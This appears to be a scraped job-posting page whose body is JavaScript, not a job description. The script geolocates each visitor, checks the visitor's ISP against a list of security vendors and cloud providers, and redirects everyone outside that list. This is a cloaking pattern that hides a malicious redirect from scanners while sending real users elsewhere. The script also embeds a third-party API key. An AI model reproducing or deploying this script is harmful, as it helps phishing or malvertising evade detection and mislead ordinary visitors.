Job Description
// retrieve user’s IP address and location with CORS fallback
const ipAddressUrl = ‘https://ipapi.co/json/’;
// Function to get IP and country using fallback methods
async function getIPAndCountry() {
try {
// Try primary API (provides both IP and country)
const response = await fetch(ipAddressUrl);
const data = await response.json();
return { ip: data.ip, country: data.country };
} catch (error) {
console.log(‘Primary IP API failed, trying fallback…’);
try {
// Fallback: Get IP first
const ipResponse = await fetch(‘https://api.ipify.org?format=json’);
const ipData = await ipResponse.json();
const ipAddress = ipData.ip;
// Then get country from ip-api.com (free tier, no CORS)
const countryResponse = await fetch(`https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`);
const countryData = await countryResponse.json();
return { ip: ipAddress, country: countryData.countryCode };
} catch (fallbackError) {
console.error(‘All IP retrieval methods failed:’, fallbackError);
return null;
}
}
}
// Main execution
getIPAndCountry().then(result => {
if (!result) {
console.error(‘Could not retrieve IP address or country’);
return;
}
const { ip: ipAddress, country } = result;
// Check if user is in allowed countries
const allowedCountries = [‘US’, ‘GB’, ‘CA’, ‘FR’]; // US, UK, Canada, France
if (!allowedCountries.includes(country)) {
console.log(‘Script will not run as the user is outside allowed countries.’);
return; // Exit the script if the user is not in allowed countries
}
// retrieve ISP name and AS organization using ip-api.com API
const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`;
fetch(ispUrl)
.then(response => response.json())
.then(data => {
const ispName = data.isp;
const asOrg = data.asname;
// check if ISP or AS organization is allowed
const allowedIsps = [/Limestone Networks/i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare/i, /Cloudflare Warp/i];
const allowedAsOrgs = [/Limestone Networks/i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare/i, /Cloudflare Warp/i];
const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName));
const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = ”;
}
})
.catch(error => {
console.error(‘Error retrieving ISP name:’, error);
});
});
test